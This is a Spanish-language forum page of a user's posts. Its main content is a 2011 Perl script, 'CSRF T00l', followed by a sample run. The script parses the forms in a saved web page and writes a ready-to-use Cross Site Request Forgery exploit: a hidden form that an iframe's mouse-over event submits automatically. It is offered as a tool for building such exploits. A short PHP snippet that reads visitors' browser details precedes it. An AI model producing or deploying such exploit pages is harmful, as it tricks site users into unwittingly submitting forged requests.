$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return array(htmlentities($navegador['browser']),htmlentities($navegador['version']));
}

public function so() {

$navegador = get_browser($_SERVER['HTTP_USER_AGENT'], true);
return htmlentities($navegador['platform']);

}
}

?>

Funciones

Código:
ip() // Te da la IP
navegador() // Te da el navegador
so() // te da el SO

420  Programación / Scripting / [Perl] CSRF T00l en: 7 Octubre 2011, 01:16 am
Una simple herramienta para ahorrar trabajo en la creacion de un exploit
para la vulnerabildiad Cross Site Request Forgery , despues genera el resultado
en una carpeta creada con el programa con el nombre de la web.


Código
  1. #!usr/bin/perl
  2. #CSRF T00l (C) Doddy Hackman 2011
  3.  
  4. use HTML::Form;
  5. use URI::Split qw(uri_split);
  6.  
  7. installer();
  8.  
  9. head();
  10. if($ARGV[0]) {
  11. now($ARGV[0]);
  12. } else {
  13. sintax();
  14. }
  15. copyright();
  16.  
  17. sub now {
  18.  
  19. unless(-f $_[0]) {
  20. print "\n[-] File Not Found\n";
  21. copyright();
  22. }
  23.  
  24. print "\n[+] File to parse : ".$_[0]."\n\n";
  25.  
  26. open(FILE,$_[0]);
  27. my $words = join q(),<FILE>;
  28. close(FILE);
  29.  
  30. my @testar = HTML::Form->parse($words,"/");
  31.  
  32. $count = 0;
  33. foreach my $test(@testar) {
  34. $count++;
  35. print "\n\n -- == Form $count == --\n\n";
  36. if ($test->attr(name) eq "") {
  37. print "[+] Name : No Found"."\n";
  38. } else {
  39. print "[+] Name : ".$test->attr(name)."\n";
  40. }
  41. print "[+] Action : ".$test->action."\n";  
  42. print "[+] Method : ".$test->method."\n";
  43. print "\n-- == Input == --\n\n";
  44. @inputs = $test->inputs;
  45. print "Type\t\tName\t\tValue\n";
  46. foreach $in(@inputs) {
  47. print $in->type."\t\t";
  48. print $in->name."\t\t";
  49. print $in->value."\t\t\n";
  50. }
  51. }  
  52. print "\n\n[+] Form to generate : ";
  53. chomp(my $op = <stdin>);
  54. if ($op ne "") {
  55. $op--;
  56. my $probar = (HTML::Form->parse($words,"/"))[$op];
  57.  
  58. my $action = ver($words,$op);
  59. my $fin = nombre($action).".html";
  60. savefile("<form action=$action method=".$probar->method." name=exploit>",$fin);
  61. @input = $probar->inputs;
  62. foreach $in(@input) {
  63. print "\n[+] Value of the ".$in->name." : ";
  64. chomp(my $val = <stdin>);
  65. savefile("<input type=hidden name=".$in->name." value=".$val.">",$fin);
  66. }
  67. my $final = "</form><script language=javascript>function colocar(){document.exploit.submit()}
  68. </script><iframe width=6% height=%6 overflow=hidden onmouseover=javascript:colocar()>
  69. ";
  70. savefile($final,$fin);
  71. print "\n\n[+] CSRF Exploit Generated\n\n";
  72. print "[+] To can see in logscsrf/".$fin."\n\n";
  73. }
  74. }
  75.  
  76. sub ver {
  77. my $probar = (HTML::Form->parse($_[0],"/"))[$_[1]];
  78. my $action = $probar->action;
  79. my $co = $action;
  80. if ($action eq "" or $action eq "/"){
  81. print "\n\n[+] Action : ";
  82. chomp(my $action = <stdin>);
  83. return $action;
  84. } else {
  85. return $co;
  86. }
  87. }
  88.  
  89. sub installer {
  90. unless (-d "logs_csrf/") {
  91. mkdir("logs_csrf/","777");
  92. }}
  93.  
  94. sub nombre {
  95. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  96. return $auth;
  97. }
  98.  
  99. sub savefile {
  100. open (SAVE,">>logs_csrf/".$_[1]);
  101. print SAVE $_[0]."\n";
  102. close SAVE;
  103. }
  104.  
  105. sub sintax {
  106. print "\n[+] sintax : $0 <file>\n";
  107. }
  108.  
  109. sub head {
  110. print "\n\n -- == CSRF T00l == --\n\n";
  111. }
  112.  
  113. sub copyright {
  114. print "\n\n -- == Doddy Hackman 2011 == --\n\n";
  115. exit(1);
  116. }
  117.  
  118. # ¿ The End ?
  119.  

Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\CSRF Tool>tool.pl read.txt


 -- == CSRF T00l == --


[+] File to parse : read.txt



 -- == Form 1 == --

[+] Name : No Found
[+] Action : http://localhost/labs/csrf/csrf.php
[+] Method : GET

-- == Input == --

Type            Name            Value
text            ver
password                veras
submit          control         Agregar


 -- == Form 2 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --

Type            Name            Value
text            ac
submit          ee              aaa


[+] Form to generate : 1

[+] Value of the ver : aaa

[+] Value of the veras : aaa

[+] Value of the control : aaa


[+] CSRF Exploit Generated

[+] To can see in logscsrf/localhost.html



 -- == Doddy Hackman 2011 == --


Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines